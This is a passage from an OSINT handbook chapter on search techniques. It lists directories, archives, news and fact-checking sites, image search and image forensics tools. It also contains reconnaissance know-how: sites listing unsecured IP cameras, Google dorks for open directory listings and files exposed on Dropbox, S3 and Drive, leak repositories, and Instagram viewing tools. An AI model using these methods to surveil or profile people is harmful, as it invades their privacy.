unsecured IP cameras. • Webcam-Network Project (www.the-webcam-network.com): This is a webcam directory. • Thingful (https://www.thingful.net): This is a search engine for the Internet of Things. Web Directories We defined web directory briefly in the previous chapter. A web directory—also known as a subject directory—is a website that lists and organizes many sites into categories. We can consider it like a phone book. Each letter in this phone book refers to a topic or subject (shopping, news, information technology, blog), and each topic has many websites belonging to it (for example, information security contains www.DarknessGate.com). The directory has a hierarchical structure; it emphasizes linking to a site home page instead of linking to individual pages, thus focusing on the general topic/subject the website belongs to. Directories are usually managed by human reviewers; hence, unlike search engines that use spiders to index web contents automatically, web directories depend on human efforts to add/update their contents. To add a website to a web directory, a webmaster needs to submit a site address and supply some keywords and define its niche. A moderator—from the web directory—then checks the submission for fitness. Chapter 4 SearCh engine teChniqueS 155 A user can use a web directory internal search engine to find a specific website within the directory or can simply browse all websites under a specific topic (see Figure 4-11). Web directories come in varying sizes. Yahoo and DMOZ are both discontinued now, but you can view a static version of DMOZ at http://dmoztools.net. There are huge directories covering all types of Internet sites. Other types are specialized web directories that cover specific subjects and branch to relevant websites within them. A web directory can be either free or paid. Free submission sites charge no money for include your site in the directory, while the paid ones require a website owner to pay a little amount of money to include their site in the directory. Some web directories ask for a reciprocal link. Hence, you need to put a link to the directory on your homepage to include yours—freely—in their listing. While websites use keywords to search and locate information online, web directories organize all the websites according to each site subject, thus enabling you to find groups of relevant sites according to subject, language, and region. Then you can use search engine techniques—for example, a Google custom search—to search within each category for specific information. Figure 4-11. Sample web directory (http://dmoztools.net) showing main category and other subcategories Chapter 4 SearCh engine teChniqueS 156 Here are the most popular web directories: • The WWW Virtual Library (http://vlib.org) • DirPopulus (http://dirpopulus.org) • Best of the Web (https://botw.org) • GoWorkable (www.goworkable.com) • 01webdirectory (www.01webdirectory.com) Translation Services During your web search, you may encounter useful information in other languages. Such information could be valuable and cannot be omitted during your search. There are many free online translation services to translate documents, text, and even whole websites. Check out the following list: • Google Translate (https://translate.google.com) is the most important one; it can translate text and entire web pages into other languages (see Figure 4-12). Figure 4-12. Using the Google Translate service to translate a web page from English to Arabic Chapter 4 SearCh engine teChniqueS 157 • Google Input Tools (https://www.google.com/inputtools/try) allows a user to enter text in any supported language using their English (Latin) keyboard, and the text will get converted into its native script. You can download an offline version for Windows and Android or simply use it online (see Figure 4-13). • The Yamli Intelligent Arabic Keyboard (https://www.yamli.com/ clavier-arabe) allows you to type in Arabic using Latin characters in a phonetic way, and the site will transform it into Arabic words. Figure 4-13. Using Google input to convert written text to any languages supported by Google • Apertium (https://www.apertium.org) is an open source machine translation platform. • Babylon (http://translation.babylon-software.com) This is a computer dictionary and translation program, developed by Babylon Software Ltd. It offers translation in more than 800 language pairs. • Bing Translator (https://www.bing.com/translator) is another translation service. • Dictionary (http://translate.reference.com) is another translation service. Chapter 4 SearCh engine teChniqueS 158 • Wiktionary (https://www.wiktionary.org) is another translation service. • Free Translator (www.free-translator.com) is another translation service. • No Slang (https://www.noslang.com) translates text slang, Internet slang, and acronyms. • Lexilogos (https://www.lexilogos.com/keyboard/index.htm) supports a multilanguage keyboard. Website History and Website Capture Sometimes you want to go back in time to investigate something in the past. Website capture is useful for online investigations because you can ensure that a snapshot of a given website will always remain online even if the original page disappears. Please note that saved pages are usually stored without their associated scripts, so some functionality, themes, and menus may not work correctly. There are many online sites that offer such services; the following are the most popular ones: • Internet Archive (the Wayback Machine; https://archive.org/web/ web.php) is the most popular archive site; it has more than 308 billion web pages saved over time, and anyone can capture a web page as it appears now to use it in the future as a clue or a reference (the captured website should allow crawlers). See Figure 4-14. Chapter 4 SearCh engine teChniqueS 159 • Archive (https://archive.fo/) is also available. • Cached pages (www.cachedpages.com/) shows previous websites captured on three different archive websites (Google cache, Coral, and Archive.org). • www.screenshots.com shows screenshot history for any website. • Way Backpack (https://github.com/jsvine/waybackpack) is a tool that allows you to download the entire Wayback Machine archive for a given web page. • Library of Congress (https://loc.gov/websites) is another one. • UK Web Archive (www.webarchive.org.uk/ukwa) is another one. • Stanford Web Archive Portal (https://swap.stanford.edu) is another one. Figure 4-14. Wayback Machine showing historical data for www.DarknessGate.com Chapter 4 SearCh engine teChniqueS 160 • Oldweb.today (http://oldweb.today) retrieves archived web pages from the different public Internet archives. You can also display archived websites using different web browsers. • UK Government Web Archive (www.nationalarchives.gov.uk/ webarchive/) holds U.K. government web archives published on the Web since 1996 to the present. The archived contents include videos, tweets, and web pages. Website Monitoring Services Sometimes you might need to know about changes to a specific website when they happen. Tracking down changes to one website can be achieved by visiting it regularly. However, what can you do if you need to track page changes to many sites at once? There are many online services that allow you to track an unlimited number of pages. This works by sending you an alert e-mail once a change is detected in the specific page (chosen by you). Some paid services allow you to receive SMS alerts also. The following are the major free website-monitoring services currently available: • Google Alerts (https://www.google.com/alerts; see Figure 4-15) is a web content change detection (based on your search phrase or keywords) and notification service offered by Google. To set an alert, you need to go to the Google Alerts page (you need to sign into your Google account first) and enter the search phrase or word (it should be specific, not general, to avoid getting too many results). Google will notify you by e-mail when the specified search phrase or word appears in the newly indexed search results anywhere online (it will not notify you about current results available on the Web). Chapter 4 SearCh engine teChniqueS 161 • Talk Walker (www.talkwalker.com/alerts) is an alternative to Google Alerts. • Visual Ping (https://visualping.io) monitors web pages for any detected change; the free account gives you 62 checks per month. • Follow That Page (https://www.followthatpage.com) gives you two daily checks with the free account. • Watch That Page (www.watchthatpage.com) gives you 70 weekly checks on all your pages. • Update Scanner (https://addons.mozilla.org/en-US/firefox/ addon/update-scanner) is a Firefox extension that monitors web pages for updates. Figure 4-15. Creating a new Google alert Chapter 4 SearCh engine teChniqueS 162 RSS Feed Another method to monitor website changes is to use an RSS feed. So, what does RSS mean? Really Simple Syndication or Rich Site Summary is an XML (text) file that allows site owners to inform subscribed readers—and other sites—about new content published on their sites. RSS revolutionizes how Internet users can track updated content online. To check for new site updates, a user needs to have an RSS feed reader. The user subscribes to the site RSS feed, and then any new content on this site will appear in their feed reader automatically. Each feed entry will usually contain the title, summary of the published text, date of publishing, and author name. Subscribing to a website RSS will make a user aware of any updates on to their monitored sites, thus removing the need to visit intended websites continually to check for newly published contents. Major web browsers offer a mechanism to subscribe to the site RSS feed. Mozilla Firefox comes equipped with built-in RSS support called Live Bookmarks. To subscribe to any website RSS feed through Firefox, follow these steps: 1. Navigate to the website where you want to subscribe to its RSS feed. 2. From the Bookmarks menu, select Subscribe to This Page (if the browser does not detect an RSS feed on the page, this option will be grayed out). Then select your feed. Figure 4-16 shows two feeds for this site because it is a blog, one for the comments and the second for site contents named Feed. Figure 4-16. Subscribe to an RSS feed using Firefox Chapter 4 SearCh engine teChniqueS 163 3. The next page appears. Use the Firefox subscription box at the top to confirm your subscription. Make sure to set the option as in Figure 4-17. 4. After clicking Subscribe Now, a pop-up message will appear allowing you to change the feed name and location. The default settings should be OK. Hit the Subscribe button and you are done! The built-in RSS feed reader in a browser has limited functionality compared to some dedicated desktop RSS feed reader software. For instance, RSSOwl (www.rssowl.org/) comes with powerful features such as searching within feeds, saving a previous feed search, and getting notifications on new content. It is free and comes supported on all major platforms like Windows, Linux, and macOS. There are also browser extensions—add-ons—for major web browsers in addition to online services that offer feed subscription. However, if you are part of an online investigation, it is preferable to use only the built-in browser feed utility or the RSSOwl software to avoid leaking information about your stored feed. Many browser extensions request access to your browser surfing history, and this may result in a privacy breach if such records fall into the wrong hands. News Search A wealth of useful information about anything can be found in news sources. For instance, a corporation can gain deep insight about any competitor like its legal history, partnership agreements, financial status, and any negative mention by searching within news archives. We gave an example for business corporations; however, the same things apply to governments, nonprofit organizations, and high-profile individuals. Figure 4-17. Click the Subscribe Now button to subscribe to the intended RSS feed Chapter 4 SearCh engine teChniqueS 164 Searching in news online is easier than searching in a media broadcast archive. In this section, we will cover how you can customize Google News to know about the latest updates of any search keyword/phrase appearing in global news channels. We will also mention other online news sources and give advice on how to detect fake news. Customize Google News Google News offers an up-to-date news service aggregated from various sources around the world. A user can select a topic of interest, and Google will show relevant results about this topic. Online investigators can exploit the Google News service to simplify searching for specific topics or search terms within the news. To do this, follow these steps: 1. Go to https://news.google.com. 2. Go to the left side of the page and click “Manage sections” (see Figure 4-18). Figure 4-18. Customizing Google News Chapter 4 SearCh engine teChniqueS 165 3. The page in Figure 4-19 appears. Enter the topic or keywords in the “Search terms” text box; you can also name the title of the search. Then click the Add Section button. Now, a new section will appear in the left vertical menu of Google News. To search for specific keywords, all you need to do is to click the section name and Google will display the relevant news search results. Note! google keeps an archive of previous news; you can check it at https://news.google.com/newspapers. Figure 4-19. Customizing the Google News sections to include your keywords Chapter 4 SearCh engine teChniqueS 166 News Websites There are many online news services that offer up-to-date information about all kinds of topics. The following are the most popular ones: • 1stHeadlines (https://www.1stheadlines.com): This lists breaking news headline. • News Now (www.newsnow.co.uk): This lists latest news from around the world. • All You Can Read (www.allyoucanread.com): This website lists all major newspapers and news media in each country around the world (usually list the top 30 sites). • Daily Earth (http://dailyearth.com/index.html): This is a global newspaper directory. • Chroniclingamerica (https://chroniclingamerica.loc.gov/ search/titles): Search U.S. Newspaper Directory. • Newspaper Map (http://newspapermap.com): This is a global newspaper map. • World News (https://wn.com): A collection of world news aggregated from different sources. • The Paperboy (https://www.thepaperboy.com/index.cfm): This aggregates news from major news agencies, lists all newspapers from around the world, and shows the front page of major newspapers from around the world. • Site Intel Group (https://ent.siteintelgroup.com): This site specializes in news about ISIS and other Jihadist groups. Fake News Detection In today’s digital age, everything is connected online, and a large number of people receive their news using social media sites, where anyone can post anything using a fake identity. In addition, there are many unreliable news sites that announce news without investigating its source accurately. For instance, any malicious actor can spread Chapter 4 SearCh engine teChniqueS 167 misleading news for commercial gain, for propaganda purposes, or to mislead people about something. Such false news can spread instantly because of the simplicity of sharing information across different social media platforms and, consequently, through the entire Internet. Detecting fake news has become a hot topic today and attracts huge attention. Major social platforms—like Twitter and Facebook—have promised their users they will find a solution to stop or at least decrease the harm of fake news. Researchers continue in this field with emphasis on developing artificial intelligence solutions (such as machine learning and natural language processing) to combat fake news. As an OSINT investigator, you will certainly encounter fake news during your search for resources. Any suspicious information should not be included in your case files. To help sort true information from false information, you should use the following checklist for investigating suspicious news: 1. Read the entire article or piece of information first. Do not believe anything until you review its source. 2. Read the source of the news/information. 3. If the source comes from a credible or well-known website (for example, a global well- known news agency), do the following: a. Go to the source of the news to see whether the same information is presented on its site. For example, if a piece of news is attributed to Reuters (https://www.reuters.com), check its website to see whether the same information exists there. 4. If the information comes from an unknown source, you need to conduct an online search to see who else has published the same news. a. If a credible and well-known website published the same story from the same source, it is highly likely to be a true story. b. Otherwise, you need to check more about the issue or decline to use the information. Chapter 4 SearCh engine teChniqueS 168 Warning! Do not trust information published on social sites only. instead, conduct an online search to see whether the same news has been published elsewhere. if you find that this news is false, make sure to report it to the site operators (for example, Facebook allows its users to report posts for review). You should read news, articles, and other content only on reputable websites. Less- known sites should be investigated thoroughly before considering their news as valid. There are many sites online that help you to figure out whether something is false news/information. The following are the most important ones: • Snopes (https://www.snopes.com) discovers false news, stories, and urban legends and researches/validates rumors to see whether they are true (see Figure 4-20). • Hoaxy (https://hoaxy.iuni.iu.edu) checks the spread of false claims (like a hoax, rumor, satire, or news report) across social media sites. The site derives its results from reputable fact-checking organizations to return the most accurate results. • FactCheck (www.factcheck.org/fake-news) is partnered with Facebook to help identify and label fake news reported by its users. It also monitors different media for the false information covering a wide range of topics like health, science, and hoaxes spread through spam e-mails. • https://reporterslab.org/fact-checking gives a map of global fact-checking sites (see Figure 4-21). Figure 4-20. Example of fake news discovered by Snopes Chapter 4 SearCh engine teChniqueS 169 • www.truthorfiction.com discovers fake news in different topics such as politics, nature, health, space, crime, police and terrorism, and so on. • Hoax-Slayer (www.hoax-slayer.com) focuses on e-mail scams and social media hoaxes. • Verification Handbook (http://verificationhandbook.com) is a definitive guide to verifying digital content for emergency coverage available in different languages. • Verification Junkie (http://verificationjunkie.com) is a directory of tools for verifying, fact checking, and assessing the validity of eyewitness reports and user self-published content online. • https://citizenevidence.org has tools and lessons to teach people how to authenticate user-generated online contents. It is managed by Amnesty International. • InVID Verification Plugin (www.invid-project.eu/tools-and- services/invid-verification-plugin) supports both Mozilla Firefox and Chrome. This is a tool created by the InVID European project to help journalists verify content on social networks. Figure 4-21. reporterslab.org/fact-checking showing a global of fact-checking sites around the world Chapter 4 SearCh engine teChniqueS 170 Searching for Digital Files In a previous section, we talked briefly about how to use Google and Bing advanced search operators to search for different types of digital files (documents, images, and videos). In this section, we will continue our discussion and show how to utilize different techniques and specialized search engines to search for files in a variety of formats. Digital files constitute an important percentage of web contents located on the surface web. Now, with the availability of free cloud file-hosting services (Dropbox, Google Drive) and video-sharing sites (YouTube), individuals and corporations are used to using such services for online sharing. Digital files found online can contain a wealth of information, not only in their contents but also in their metadata (hidden attributes). Document Search This section is dedicated to online document search, but before we start, let’s first talk about the most common document file formats available online. DOC and DOCX DOC and DOCX are the standard file formats for Microsoft Word documents. Microsoft Word is part of the Microsoft Office suite created by Microsoft. The .doc extension is for older versions of Microsoft Word, such as 2003 and older. New editions of Microsoft Word (beginning with 2007) have the .docx extension. HTML and HTM Hypertext Markup Language is the standard web page file format to represent content on the Web. Both extensions (.html and .htm) can be used interchangeably. To edit these files, you can use any text editor. However, to decode and display HTML file contents, you need to open the HTML file using a web browser. ODT This is a text document file format (formatted using the OASIS OpenDocument XML- based standard) like the Microsoft Word file format; it is used in the open source word processing program named Writer, which comes as part of the Apache OpenOffice suite. ODT can be opened and edited using any OpenOffice-compatible program, including Chapter 4 SearCh engine teChniqueS 171 NeoOffice (Mac), AbiWord (Mac and Windows), and KWord (Unix). You can also open ODT files using Microsoft Word and save them as DOCX files. XLS and XLSX XLS and XLSX are file formats for Microsoft Excel used to create spreadsheets. Older editions have the .xsl extension, while modern Microsoft Excel files (beginning with 2007) have the .xslx extension. Excel is part of the Microsoft Office suite created by Microsoft. ODS ODS stands for OpenDocument Spreadsheet; this format was created by the Calc program that is included in the Apache OpenOffice suite. ODS files can be opened and edited using any OpenOffice-compatible program, including NeoOffice (Mac) and LibreOffice (Mac and Windows). They can also be opened in Microsoft Excel and saved as XLS or XLSX files. PPT and PPTX PPT and PPTX are file format for Microsoft PowerPoint that are used for creating multimedia presentations. Just like with the Excel and Word programs, .ppt is used for older editions, while .pptx is used in modern Microsoft PowerPoint editions. ODP ODP stands for OpenDocument Presentation. It is used in the Apache OpenOffice Impress program, which comes as part of the OpenOffice suite. Microsoft PowerPoint can be used to open or save a presentation in the ODP format. TXT TXT is a basic plain-text file format that can be opened using any text editor on all operating systems. Chapter 4 SearCh engine teChniqueS 172 PDF PDF stands for Portable Document Format, the most widely used document file format online, originally created by Adobe Systems. Acrobat Reader, which is available as a free download from the Adobe website (https://get.adobe.com/reader), allows you to view and print PDF files. The PDF file format has become the most widely used file format by governments, corporations, and educational institutions around the world. Note! apache OpenOffice can be found at https://www.openoffice.org, and LibreOffice can be found at https://www.libreoffice.org. Let’s begin our search for documents by using some Google operators to find files on different cloud storage providers. To search a Google doc site, use the following query in the Google basic search engine: site:docs.google.com SEARCHTERM. This will search for the specified search term on the Google document website (docs.google.com). In the same way, you can search for documents hosted on Google Drive—with public access—using the following search query: site:drive.google.com SEARCHTERM. To search for files hosted on Dropbox, type the following in Google: site:dl.dropbox. com SEARCHTERM. To search for files on Amazon AWS, type the following in Google: site:s3. amazonaws.com SEARCHTERM. To search for files on Microsoft OneDrive, type the following in Google: site:onedrive.live.com SEARCHTERM. File Search Engines Some specialized search engines can query many file hosting sites. Fagan Finder Fagan Finder (www.faganfinder.com/filetype) is an old search engine but still works just fine to locate different file types online. Just enter your search term, select the file type you want to search for, and finally select the search engine to conduct your search (see Figure 4-22). Chapter 4 SearCh engine teChniqueS 173 General-Search General-Search (www.general-search.com) allows you to search for different file types using 11 file-hosting websites. You can select the file type and set a filter to its size (see Figure 4-23). ShareDir ShareDir (https://sharedir.com) lets you specify a file type and search more than 60 file-hosting sites simultaneously. The unique service offered by this site is that it allows you to download 500MB daily—without waiting—from premium file-hosting websites. All you need is to register for a free account to use this feature. Figure 4-22. Use the Fagan Finder file search engine to locate a variety of file types on different search engines Figure 4-23. Search for files using 11 file-hosting websites Chapter 4 SearCh engine teChniqueS 174 Note! You can search any file-hosting website using the google site search operator. For example, to search for files on Mediafire.com, type the following operator into the google search engine: site:mediafire.com SEARCHTERM. Custom Search Engine We already covered different types of search engines. However, we deferred our discussion of custom search engines until now, so we could cover how to use this technique to narrow down your search for specific file types within a limited set of sites. The term custom search can be misleading at first sight; some users may think that they can create a new custom search engine according to their preferences. However, this is not true. A custom search allows you to use an existing search engine service to preselect the websites you need to limit your search to, the types of results returned (for example, only PDF files), and how the results will be prioritized. A major provider of custom search is Google, so we will cover how to create one in the following steps: 1. Go to www.google.com/coop/cse. 2. You must have a Google account to use this service, so sign in if you have not done this already. 3. Click the “New search engine” button on the left side. 4. On the following page, enter the sites that you want to include in your search in the “Sites to search” section. You can include whole site URLs or individual page URLs. Select the language used to display the GUI of your custom search engine; finally, give your search a name. Chapter 4 SearCh engine teChniqueS 175 Figure 4-24. Create a custom search engine using a Google custom search 5. Click the Create button to create your custom search engine (see Figure 4-24). Chapter 4 SearCh engine teChniqueS 176 6. After successfully creating your custom search engine, Google will display a page showing the public URL of your custom search engine. It will also show the HTML code snippet in case you want to put it on your website and a link to a custom search engine control panel to update its settings (see Figure 4-25). To access the public URL of your custom search engine, go to https://cse.google. com/cse/all, click the custom search engine name you want to access, go to Setup, and select Public URL (see Figure 4-26). Figure 4-25. Google custom search engine created successfully Chapter 4 SearCh engine teChniqueS 177 Google will display a search box to you. Enter your search query, and Google will display relevant results from only the websites that have been entered upon creating your custom search engine. Figure 4-26. Viewing the public URL of your Google custom search engine Chapter 4 SearCh engine teChniqueS 178 Many Internet users have already created their own Google custom search engines to locate files and FTP directories online. One of these is located at https://cse.google. com/cse/home?cx=014863114814409449623%3Ajc-vjhl_c5g. To use this custom search, enter your search term (file or directory name); you can also specify the file type you want to restrict search results to by clicking the relevant name below the search box (see Figure 4-27). Other useful Google custom search engines for locating OSINT resources online are as follows: • 300+ Social Networking Sites (https://cse.google.com/cse/public url?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=0017944 96531944888666:iyxger-cwug&q=%22%22) • 250+ Video Sharing Sites (https://cse.google.com/cse/publicurl ?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=0017944965 31944888666:ctbnemd5u7s&q=%22%22) • File Sharing Sites Search (https://cse.google.com/cse/publicurl? key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=00179449653 1944888666:hn5bcrszfhe&q=%22%22) • Torrent Search (https://cse.google.com/cse/publicurl?key=AIza SyB2lwQuNzUsRTH- 49FA7od4dB_Xvu5DCvg&cx=0017944965319448886 66:ixpabzzplzy&q=%22%22) Note! You can construct an advanced google operator to search for pDF files hosted on public servers using the following google dork: intitle:index.of +?last modified? +?parent directory? +pdf “Search Term”. Figure 4-27. A Google custom search engine used to search for a variety of file types Chapter 4 SearCh engine teChniqueS 179 Gray Literature As we already said in Chapter 1, gray literature is any material produced by the world’s commercial publishing systems. It has mainly two types. • Gray literature • Gray information Gray literature includes books, journals, magazines, and anything that can be obtained publicly through traditional bookstore channels or academic publications. A user usually pays subscription fees to gain access to such resources or buys them directly from bookstores (such as buying books from Amazon.com). Springer (https://rd.springer.com), which provides access to millions of scientific documents such as journals, books, series, protocols, and reference works, is a clear example of a gray literature channel. Gray information, on the other hand, cannot be obtained easily using traditional bookstore routes. However, it has some specialized channels where you can obtain some of it; you need to pay for specialized subscription agencies to acquire the rest. Gray information includes the following—and more: • Academic papers • Preprints • Proceedings • Conference and discussion papers • Research reports • Marketing reports • Technical specifications and standards • Dissertations • Theses • Trade publications • Memoranda • Government reports and documents not published commercially • Translations Chapter 4 SearCh engine teChniqueS 180 • Newsletters • Market surveys • Draft versions of books and articles In this section, we will focus on academic and scholarly resources because we already covered the business search engines where you can get gray information about businesses. In the following list, you’ll find the most important gray literature websites that can be used to retrieve academic and scholarly resources for free covering all topics: • Academia (https://www.academia.edu) is a platform for academics to share research papers—more than 19 million papers currently uploaded—covering all academic subjects. • Academic Index (www.academicindex.net) is a scholarly academic search engine that lists only selected sets of quality websites chosen by academics, librarians, educators, and library consortia. • Academic Torrents (http://academictorrents.com) is a community-maintained distributed repository for datasets and scientific knowledge. It hosts academic research, courses, datasets, papers, and collections using the Torrent technology where each user of the system can store a research paper and offer it for download using only a home computer. All you need is a Torrent client, and you are ready to download and share (seed) contents. • American Doctoral Dissertations (www.opendissertations.com) provides free access to more than 172,000 theses and dissertations accepted by American universities since 1902 to the present. • ArchiveGrid (https://beta.worldcat.org/archivegrid) holds more than five million archival materials aggregated from archives, libraries, museums, and historical societies. Primary topics include historical documents, and personal and family papers and histories. • Google Scholar (https://scholar.google.com/schhp?hl=en) is a Google search engine to find scholarly research. Results are ranked based on the number of citations (calculated based on the number of people who cite the research) and the publication’s credibility. You Chapter 4 SearCh engine teChniqueS 181 can also create alerts (like Google alert already covered) so you will get informed when a new scholarly research paper is published that matches your search criteria. • The Bielefeld Academic Search Engine (https://www.base-search. net/Search/Advanced) contains more than 100 million documents. • Archive Portal Europe (www.archivesportaleurope.net) provides access to information on archival material from different European countries covering numerous topics (such as agriculture, health, justice, politics, and science). • Social Science Research Network (https://www.ssrn.com/en) provides more than a half-million research papers covering 30 topics. • The National Library of Australia (http://trove.nla.gov.au) has more than 500 million Australian and online resources covering books, journals, annual reports, images, historic newspapers, maps, music, archives, and more. • ScienceDirect (www.sciencedirect.com) contains more than 250,000 open access (free to read and download) articles in scientific, technical, and medical research. • PQDT Open (https://pqdtopen.proquest.com/search.html) provides open access to dissertations and theses free of charge. • The National Archive of the United Kingdom (http://discovery. nationalarchives.gov.uk) holds more than 32 million descriptions of records held by The National Archives and more than 2,500 archives across the UK, many of them are available for download. • Oxford Academic (https://academic.oup.com/journals) contains journals in law, business, science, social science, art, and medicine. • Page Press (www.pagepress.org) contains open access scholarly journals. • CERN Document Server (https://cdsweb.cern.ch) provides free access to thousands of articles, books, reprints, presentation and talks, multimedia, and outreach covering mostly the physical science. Chapter 4 SearCh engine teChniqueS 182 • High Wire (http://highwire.stanford.edu/lists/freeart.dtl) has free online full-text articles. • Gray Guide (http://greyguide.isti.cnr.it) has resources in gray literature. • Beyond Citation (www.beyondcitation.org) gives information about different academic databases and other digital research collections. • Crossref (https://search.crossref.org) searches the metadata (title, author, DOI, ORCID ID, ISSN) of more than 92 million journal articles, books, standards, and datasets. • Databases (https://databases.today) is a directory of publicly available databases to download free resources for security researchers and journalists. Data Leak Information Data leaks—sometimes called data breaches—are the intentional or unintentional release of confidential information to the public. Leaks mainly occur because of black hat hacker attacks against computerized systems or by disgruntled employees who may uncover secret information about their organizations. Data leaks can include credit card information, PII, health information of patients, financial information, e-mail/social site usernames and passwords, trade secrets, corporations plans and future works, intellectual property information, and military information belonging to governments. There is a debate on the legal status of data leak information. For instance, some argue that leaked information has become part of OSINT sources and thus you can handle it as you do with any publicly available information. The opposite opinion suggests that leaked information has been obtained illegally by breaching system or legal rules and thus should not be used as OSINT sources. OSINT investigations cannot omit the existence of such leaked data while investigating some cases (especially when dealing with leaked intelligence information). However, it is preferred to handle it carefully on a case-by-case basis. For instance, if personal information or a private corporation has secrets leaked online, it is preferable not to publicize the information again and to renounce it in your search. Instead, you can use the useful elements in your investigation while respecting the affected actor’s private information that has been already leaked once. Chapter 4 SearCh engine teChniqueS 183 Leaked information such as personal, financial, and corporate information can be found on the darknet (already covered in Chapter 3), but we are not going to cover it because this is made up of illegal sites promoting illegal actions. Leaked official documents are distributed online using specific websites that focus on different areas, mostly the military, intelligence, and surveillance arenas. The following are the two most popular official data leak repositories online: • WikiLeaks (https://wikileaks.org) • Cryptome (https://cryptome.org) • Offshore Leaks (https://offshoreleaks.icij.org) Document Metadata We already talked about digital file metadata and demonstrated how to view/edit it using different tools in Chapter 2, but bear in mind that any digital files acquired online can contain useful metadata that must be investigated. Image Digital images, logos, and icons can be of great value in OSINT investigations. Major search engines like Google, Yahoo, and Bing provide basic image search engine functionality. However, there are other more specialized image search engines that can be used to get more precise results. Basic Image Search The following sites offer image search services: • Google Image Search (https://images.google.com) • Bing image search (www.bing.com/images) • Yahoo Images (http://images.yahoo.com) • Yandex (https://yandex.com/images) • Baidu (http://image.baidu.com) • Imgur (https://imgur.com) • Photobucket (http://photobucket.com) Chapter 4 SearCh engine teChniqueS 184 • Picsearch (www.picsearch.com contains) • https://ccsearch.creativecommons.org) • SmugMug (https://www.smugmug.com) Google offers Advanced Image Search, where you can set many criteria of your search query such as image color, image type (photo, face, clip art, line drawing, animated), region or country, site or domain name, image format type, and usage rights. Google Advanced Image Search can be found at (https://images.google.com/ advanced_image_search). Images shared across social media sites can be found in the following locations: • Lakako (https://www.lakako.com): This searches Instagram, Twitter, and Google+ for photos and people. • Flickr (https://www.flickr.com) • Flicker map (https://www.flickr.com/map): View uploaded images on a map according to the uploader country of origin. • My Pics map (www.mypicsmap.com): View Flickr photos on a Google map. You need to supply the Flicker username of the image uploader or view photos from a specific photo set. • idGettr (https://www.webpagefx.com/tools/idgettr): Find the Flicker ID number (also works for groups). • Flickr Hive Mind (http://flickrhivemind.net): This is a data- mining tool for the Flickr database of photography. • Instagram (https://www.instagram.com) • Websta (https://websta.me/search) is an advanced search for the Instagram website. • Stalkture (http://stalkture.com) is an Instagram online web viewer. • Mininsta (http://mininsta.net) is an advanced Instagram search engine. • Pinterest (https://www.pinterest.com) Chapter 4 SearCh engine teChniqueS 185 There are specialized sites that hold images that have appeared in the press and news media. To search for this type of images, try these sites: • Gettyimages (www.gettyimages.com) • International Logo List (http://logos.iti.gr/table/) • Instant Logo Search (http://instantlogosearch.com) • Reuters Pictures (http://pictures.reuters.com) • News Press (https://www.news-press.com/media/latest/news) • Associated Press Images Portal (www.apimages.com) • PA Images (https://www.paimages.co.uk) • European Pressphoto Agency (www.epa.eu) • Canadian Press Images Archive (www.cpimages.com/fotoweb/index.fwx) HOW TO DOWNLOAD FLASH VIDEOS, ICONS, AND OTHER IMAGES USING FIREFOX Some websites—like www.DarknessGate.com—protect multimedia content by disabling selection and right-click. Many websites are still using Flash videos (SWF files) to display animation. to download SWF files and other multimedia files—when the right-click on a site is disabled—using only Firefox browser, follow these steps: a. go to the Firefox menu and select tools and then page info. B. go to the Media tab and locate your SWF file or the images you want to download. Select the file and then click the Save as button (see Figure 4-28). Chapter 4 SearCh engine teChniqueS 186 please note that we are not promoting breaching copyright laws regarding downloading multimedia content from the internet. however, you may need such techniques in some context. always read a website’s “terms of use” and regulations and obey the copyright laws announced for each site before collecting any material online. Figure 4-28. Saving an image from a protected website (right-click disabled) using the Firefox browser. In the same way, you can download SWF (Flash) files embedded within pages. However, you need first to finish playing the movie before downloading it. Chapter 4 SearCh engine teChniqueS 187 Reverse Image Search A reverse image search uses a sample image instead of a search query. It works by uploading an image—or inserting its URL—into a reverse image search engine, which will in turn search its index to find where else this image appears online and display all the other locations. In this way, you can know the original source of photographs, memes, and profile pictures. The following are the most popular reverse image search engine sites: • Google reverse search (https://www.google.com/imghp): Google has a dedicated search engine for image reverse searches; you can either paste the image URL in the search box or upload it to Google (see Figure 4-29). • Karmadecay (http://karmadecay.com): This is a reverse image search on Reddit.com (in beta). • TinyEye (www.tineye.com): You can search by image or URL; more than 24 billion images have already been indexed. • Reverse Image Search (www.reverse-image-search.com): Conduct a reverse image search with Google, Bing, and Yandex. • Imagebrief (www.imagebrief.com): Search for images and use reverse image searches as well. Figure 4-29. Google reverse image search using an image URL Chapter 4 SearCh engine teChniqueS 188 • Cam Finds App (http://camfindapp.com): This is an app available for both Android and Apple devices. It uses visual search technology to recognize uploaded pictures and gives instant results about them such as related images, local shopping results, and a vast selection of web results. • Image Identification Project (https://www.imageidentify.com): This uses visual search technology to recognize uploaded images. Image Manipulation Check OSINT multimedia searches intersect many areas of the digital forensics field. As an online investigator, you should not trust all the multimedia files you acquire. If you are in doubt about any multimedia file (image or video), you should check carefully to assure that it has not been tampered with, meaning manipulated on purpose to hide or alter some facts. Image analysis begins with identifying the source device (camera or mobile phone) used to take the photo. This information is part of image metadata. As we already mentioned in Chapter 2, all digital file types can include metadata (which is a data about data). Metadata can include a wealth of useful information for your investigation. In Chapter 2 we mentioned some tools to view/edit metadata in images, video, PDFs, and Microsoft Office documents. We will continue here and mention additional tools that are specifically useful for digital images: • Forensically (https://29a.ch/photo-forensics/#forensic- magnifier): This site offers free tools for image forensics analysis; it includes clone detection, error-level analysis, metadata extraction, and more. • Fotoforensics (http://fotoforensics.com): This offers the forensics analysis of JPEG and PNG files to check for any manipulation using error-level analysis (ELA) techniques. • Ghiro (www.getghiro.org): This is an open source tool that can analyze images in bulk and extract metadata information, use GPS metadata to search for nearby images, and perform ELA to detect whether an image has been manipulated. You can download this program as a virtual appliance that is ready to use (it comes installed within Linux Ubuntu). Chapter 4 SearCh engine teChniqueS 189 • ExifTool (https://sno.phy.queensu.ca/~phil/exiftool): You can read, write, and edit meta-information in a wide variety of files. It supports different metadata formats such as EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP, and ID3. • Exif Search (https://www.exif-search.com): This is a commercial search of images by using their metadata. • JPEGsnoop (www.impulseadventure.com/photo/jpeg-snoop.html): This analyzes the source of the image to test its authenticity. • GeoSetter (www.geosetter.de/en): You can manipulate/view geodata—and other metadata information—of other images. • Lets Enhance (https://letsenhance.io): You can enhance a photo size without losing its quality. The free account allows for 14 images. However, you still need to upload a target image to the server, and this will impose privacy concerns on the uploaded files. OCR Tools During your search, 